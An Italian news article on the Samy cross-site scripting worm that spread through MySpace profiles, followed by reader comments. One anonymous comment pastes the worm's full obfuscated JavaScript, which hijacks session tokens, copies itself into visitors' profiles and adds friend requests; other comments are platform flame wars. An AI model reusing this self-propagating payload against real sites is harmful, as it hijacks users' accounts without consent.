Samy, un worm che allarma

Potrebbe rappresentare il capostipite di una nuova generazione di worm in grado di sfruttare le spesso sottovalutate vulnerabilitÓ di tipo cross-site scripting. Ecco di cosa Ŕ stato capace

Roma - Potrebbe trattarsi del primo worm capace di sfruttare una vulnerabilitÓ di tipo cross-site scripting (XSS) quello che, alcuni giorni fa, Ŕ riuscito a gettare nella confusione molti utenti della comunitÓ on-line MySpace.com.

Battezzato Samy, dal diminutivo del suo giovane creatore, il worm sfruttava una falla nel sito di MySpace.com per introdursi nei profili degli utenti della comunitÓ e raccogliere quanti pi¨ contatti possibile. Per diffondere l'infezione, e far crescere a dismisura la propria buddy list, l'autore di Samy ha creato un profilo contenente il codice pestifero: chiunque lo visitasse diventava automaticamente portatore del worm. Samy Ŕ cosý riuscito a infettare, in meno di 24 ore, oltre 1 milione di account di MySpace.com, causando anche un forte rallentamento dei server che gestiscono il servizio.

Ad aiutare il worm nella sua diffusione sono intervenute alcune vulnerabilitÓ presenti in Internet Explorer e altri browser, vulnerabilitÓ che hanno consentito a Samy di inserire del codice raw HTML nelle pagine del profilo degli utenti e bypassare le restrizioni di sicurezza del sito.
La minaccia rappresentata da Samy Ŕ rimasta circoscritta a MySpace.com, tuttavia gli esperti temono che questo worm possa aprire la strada all'arrivo di una nuova e pericolosa generazione di codici virali.

Quelle di tipo XSS sono falle che non solo mettono a repentaglio la sicurezza di un sito, ma anche quella degli utenti: con un attacco che sfrutti tali debolezze un cracker potrebbe essere in grado di rubare password, numeri di carte di credito, cookie ed altre informazioni sensibili. In passato l'allarme Ŕ stato lanciato da alcune fra le pi¨ note organizzazioni per la sicurezza, tra cui lo US CERT.

"I siti Web considerano questa vulnerabilitÓ di minore importanza - ha spiegato Jason Rafail dell'US CERT - ma per i visitatori si tratta di un problema di sicurezza e di privacy piuttosto grosso".

In passato, vulnerabilitÓ XSS hanno interessato buona parte dei siti Web pi¨ noti e visitati, tra cui quelli di AOL, Ebay, MSN, Excite e Lycos.
TAG: sicurezza
22 Commenti alla Notizia Samy, un worm che allarma
Ordina
  • Come fa il worm ad infettare le pagine web delle persone che leggono un'altra pagina web (quella del profilo incriminato)?
    non+autenticato
  • - Scritto da: Anonimo
    > Come fa il worm ad infettare le pagine web delle
    > persone che leggono un'altra pagina web (quella
    > del profilo incriminato)?


    così: (non mi ricordo dove l'ho preso)



    %lt;div id=mycode
    style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')"

    expr="
    var B=String.fromCharCode(34);
    var A=String.fromCharCode(39);

    function g()
    {
        var C;
        try{
            var D=document.body.createTextRange();
            C=D.htmlText
        }
        catch(e){}

        if(C){return C}
        else{
            return eval('document.body.inne'+'rHTML')
        }
    }


    function getData(AU)
    {
        M=getFromURL(AU,'friendID');
        L=getFromURL(AU,'Mytoken')
    }


    function getQueryParams()
    {
        var E=document.location.search;
        var F=E.substring(1,E.length).split('&');
        var AS=new Array();

        for(var O=0;O%lt;F.length;O++)
        {
            var I=F[O].split('=');
            S[I[0]]=I[1]
        }
        return AS
    }

    var J;
    var AS=getQueryParams();

    var L=AS['Mytoken'];
    var M=AS['friendID'];

    if(location.hostname=='profile.myspace.com')
    {
        document.location='http://www.myspace.com'+location.pathname+location...
    }
    else
    {
        if(!M)
        {
            getData(g())
        }
        main()
    }

    function getClientFID()
    {
        return findIn(g(),'up_launchIC( '+A,A)
    }

    function nothing(){}

    function paramsToString(AV)
    {
        var N=new String();
        var O=0;

        for(var P in AV)
        {
            if(O%gt;0){N+='&'}
            var Q=escape(AV[P]);

            while(Q.indexOf('+')!=-1)
            {
                Q=Q.replace('+','%2B')
            }

            while(Q.indexOf('&')!=-1)
            {
                Q=Q.replace('&','%26')
            }

            N+=P+'='+Q;O++
        }

        return N
    }


    function httpSend(BH,BI,BJ,BK)
    {
        if(!J)
        {
            return false
        }
        eval('J.onr'+'eadystatechange=BI');
        J.open(BJ,BH,true);

        if(BJ=='POST')
        {
            J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            J.setRequestHeader('Content-Length',BK.length)
        }

        J.send(BK);
        return true
    }


    function findIn(BF,BB,BC)
    {
        var R=BF.indexOf(BB)+BB.length;
        var S=BF.substring(R,R+1024);
        return S.substring(0,S.indexOf(BC))
    }


    function getHiddenParameter(BF,BG)
    {
        return findIn(BF,'name='+B+BG+B+' value='+B,B)
    }


    function getFromURL(BF,BG)
    {
        var T;

        if(BG=='Mytoken'){T=B}
        else{T='&'}

        var U=BG+'=';
        var V=BF.indexOf(U)+U.length;
        var W=BF.substring(V,V+1024);
        var X=W.indexOf(T);
        var Y=W.substring(0,X);
        return Y
    }


    function getXMLObj()
    {
        var Z=false;
        if(window.XMLHttpRequest)
        {
            try
            {
                Z=new XMLHttpRequest()    
            }
            catch(e){Z=false}
        }
        else if(window.ActiveXObject)
        {
            try
            {
                Z=new ActiveXObject('Msxml2.XMLHTTP')
            }
            catch(e)
            {
                try
                {
                    Z=new ActiveXObject('Microsoft.XMLHTTP')
                }
                catch(e){Z=false}
            }
        }

        return Z
    }


    var AA=g();
    var AB=AA.indexOf('m'+'ycode');
    var AC=AA.substring(AB,AB+4096);
    var AD=AC.indexOf('D'+'IV');
    var AE=AC.substring(0,AD);
    var AF;

    if(AE)
    {
        AE=AE.replace('jav'+'a',A+'jav'+'a');
        AE=AE.replace('exp'+'r)','exp'+'r)'+A);
        AF=' but most of all, samy is my hero. %lt;d'+'iv id='+AE+'D'+'IV%gt;'
    }

    var AG;


    function getHome()
    {
        if(J.readyState!=4){return}

        var AU=J.responseText;
        AG=findIn(AU,'P'+'rofileHeroes','%lt;/td%gt;');
        AG=AG.substring(61,AG.length);

        if(AG.indexOf('samy')==-1)
        {
            if(AF)
            {
                AG+=AF;
                var AR=getFromURL(AU,'Mytoken');
                var AS=new Array();
                AS['interestLabel']='heroes';
                AS['submit']='Preview';
                AS['interest']=AG;
                J=getXMLObj();

                httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,
                        postHero,
                        'POST',
                        paramsToString(AS))
            }
        }
    }


    function postHero()
    {
        if(J.readyState!=4){return}

        var AU=J.responseText;
        var AR=getFromURL(AU,'Mytoken');
        var AS=new Array();
        AS['interestLabel']='heroes';
        AS['submit']='Submit';
        AS['interest']=AG;
        AS['hash']=getHiddenParameter(AU,'hash');

        httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,
                nothing,
                'POST',
                paramsToString(AS))
    }


    function main()
    {
        var AN=getClientFID();
        var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
        J=getXMLObj();

        httpSend(BH,getHome,'GET');
        xmlhttp2=getXMLObj();

        httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,
                processxForm,
                'GET')
    }



    function processxForm()
    {
        if(xmlhttp2.readyState!=4){return}

        var AU=xmlhttp2.responseText;
        var AQ=getHiddenParameter(AU,'hashcode');
        var AR=getFromURL(AU,'Mytoken');
        var AS=new Array();
        AS['hashcode']=AQ;
        AS['friendID']='11851658';
        AS['submit']='Add to Friends';

        httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,
                nothing,
                'POST',
                paramsToString(AS))
    }



    function httpSend2(BH,BI,BJ,BK)
    {
        if(!xmlhttp2){return false}


        eval('xmlhttp2.onr'+'eadystatechange=BI');

        xmlhttp2.open(BJ,BH,true);

        if(BJ=='POST')
        {
            xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            xmlhttp2.setRequestHeader('Content-Length',BK.length)
        }

        xmlhttp2.send(BK);
        return true
    }




    "%gt;%lt;/DIV%gt;
    non+autenticato
  • - Scritto da: Anonimo
    > - Scritto da: Anonimo
    > > Come fa il worm ad infettare le pagine web delle
    > > persone che leggono un'altra pagina web (quella
    > > del profilo incriminato)?
    >
    >
    > così: (non mi ricordo dove l'ho preso)
    > [...]


    Ouch, mi sono sparite tutte le tabulazioni!!
    E i < > sono da sostituirsi con
    non+autenticato
  • Ad aiutare il worm nella sua diffusione sono intervenute alcune vulnerabilità presenti in Internet Explorer



    Fan Linux
    non+autenticato

  • - Scritto da: Anonimo
    > Ad aiutare il worm nella sua diffusione sono
    > intervenute alcune vulnerabilità presenti in
    > Internet Explorer
    >

    mentre tu continuo ad osservare convulsivamente NOI CONTINUIAMO A GODERCI LA VITA resta ad osservare a ricompilare e a scrivere scemenze nei forum intanto c'è chi vive la vita
    non+autenticato

  • - Scritto da: Anonimo
    >
    > - Scritto da: Anonimo
    > > Ad aiutare il worm nella sua diffusione sono
    > > intervenute alcune vulnerabilità presenti in
    > > Internet Explorer
    > >
    >
    > mentre tu continuo ad osservare convulsivamente
    > NOI CONTINUIAMO A GODERCI LA VITA resta ad
    > osservare a ricompilare e a scrivere scemenze nei
    > forum intanto c'è chi vive la vita
    Non direi, visto che sei qui a postare....A bocca aperta
    non+autenticato
  • - Scritto da: Anonimo
    > - Scritto da: Anonimo
    > > Ad aiutare il worm nella sua diffusione sono
    > > intervenute alcune vulnerabilità presenti in
    > > Internet Explorer

    > mentre tu continuo ad osservare
    > convulsivamente NOI CONTINUIAMO A
    > GODERCI LA VITA resta ad osservare a
    > ricompilare e a scrivere scemenze nei
    > forum intanto c'è chi vive la vita

    Tra un virus e l'altro Sorride
    non+autenticato
  • Sono d'accordo che alla fine sia polemica sterile...

    ma che ci sarà di tanto temibile a ricompilare un kernel? guarda che una macchina recente ci mette 5 min. e poi mica devi stare a guardare il gcc che compila! Va avanti anche da solo!

    Ciao

  • - Scritto da: KrecKer
    > Sono d'accordo che alla fine sia polemica
    > sterile...
    >
    > ma che ci sarà di tanto temibile a ricompilare un
    > kernel? guarda che una macchina recente ci mette
    > 5 min. e poi mica devi stare a guardare il gcc
    > che compila! Va avanti anche da solo!
    >
    > Ciao

    noi lo sappiamo, ma loro no...
    e si riempiono la bocca di parole tipo 'ricompilare il kernel', 'montare i dischi' etc etc...
    non sanno nemmeno d cosa parlano, non l'hanno nemmeno provato il linuccio...

    che pessimi.
    Fan LinuxFan AppleFan Commodore64
    non+autenticato
  • - Scritto da: Anonimo
    > - Scritto da: KrecKer
    > > Sono d'accordo che alla fine sia polemica
    > > sterile...

    > > ma che ci sarà di tanto temibile a
    > > ricompilare un kernel? guarda che una
    > > macchina recente ci mette 5 min. e poi
    > > mica devi stare a guardare il gcc che
    > > compila! Va avanti anche da solo!

    > noi lo sappiamo, ma loro no...
    > e si riempiono la bocca di parole tipo
    > 'ricompilare il kernel', 'montare i dischi' etc
    > etc...
    > non sanno nemmeno d cosa parlano, non
    > l'hanno nemmeno provato il linuccio...

    Peggio, secondo me, l'hanno provato non sono riusciti nemmeno a farlo partire e gli e' scoppiato il senso di inferiorita'. E pensare che alcuni fanno pure i sistemisti hehehe.
    non+autenticato
  • [...]
    > Peggio, secondo me, l'hanno provato non sono
    > riusciti nemmeno a farlo partire e gli e'
    > scoppiato il senso di inferiorita'. E pensare che
    > alcuni fanno pure i sistemisti hehehe.
    ...e?
    Cioe', si parla di I.E. e di altri browser.
    Imho, visto il tipo di infezione, non e' tanto un problema di browser ma dell'applicazione che gestisce i forum.

    >GT<

  • - Scritto da: Guybrush
    > Cioe', si parla di I.E. e di altri browser.
    > Imho, visto il tipo di infezione, non e' tanto un
    > problema di browser ma dell'applicazione che
    > gestisce i forum.
    >
    > >GT<

    Il primo lettore che si è accorto del reale problema. Gli altri sono solo che troll.

    non+autenticato

  • - Scritto da: Anonimo
    >
    > - Scritto da: Anonimo
    > > Ad aiutare il worm nella sua diffusione sono
    > > intervenute alcune vulnerabilità presenti in
    > > Internet Explorer
    > >
    >
    > mentre tu continuo ad osservare convulsivamente
    > NOI CONTINUIAMO A GODERCI LA VITA resta ad
    > osservare a ricompilare e a scrivere scemenze nei
    > forum intanto c'è chi vive la vita

    C'è chi invece non fa altro che ricompilare il kernel di linux perchè è perennemente insoddisfatto e viene qui a fare lo sbruffoncello... a ognuno il suo passatempo!
    non+autenticato
  • Miiiiiii!
    E figurati se per dritto o per rovescio non c'entra IE!
    Ma vi pagano o avete qualche turba repressa da linuxdipendenti? Ma datevi una calmata e continuate pure a raggiungere le alte vette orgasmiche con i vostri bei giocattolini! Se il mondo informatico gira quasi completamente con prodotti Microsoft non sarà mica tutta fuffa! Vuol dire che qualcuno (milioni) sono contenti così, senza troppe seghe mentali (come ve le fate voi, poverini).
    non+autenticato
  • Ma dai, tutto questo articolone per un povero diciannovenne che stando tutto il giorno attaccato al piccì e non avendo amici se ne è fatti qualche milioncino così, tanto per non sentirsi solo...

    A parte gli scherzi, avete dimenticato di dire che il worm aggiungeva a tutte le pagine degli utenti , in fondo, la scritta
    "but most of all, Samy is my hero", davvero geniale.
    Ha messo del codice java malformato nella propria home page, e chiunque la visitasse il worm installava se stesso nelle home dei visitatori, aggiungndoli agli amici di Samy. Un giochino esponenziale, dopo poche ore aveva già un milione di amici...

    Tornando all'articolo, ne parlate come la nuova piaga del web, un attacco che in futuro farà danni enormi...
    Ha semplicemente sfruttato una vulnerabilità lasciata aperta dai gestori del sito, nulla di più.
    Da qui a farne un caso zero per un futuro terrificante ce ne passa...
    non+autenticato

  • > Ha semplicemente sfruttato una vulnerabilità
    > lasciata aperta dai gestori del sito, nulla di
    > più.

    beh considera che:
    1) e' il primo caso di "worm" che sfrutta un XSS
    2) il web e' PIENO di possibili XSS
    non+autenticato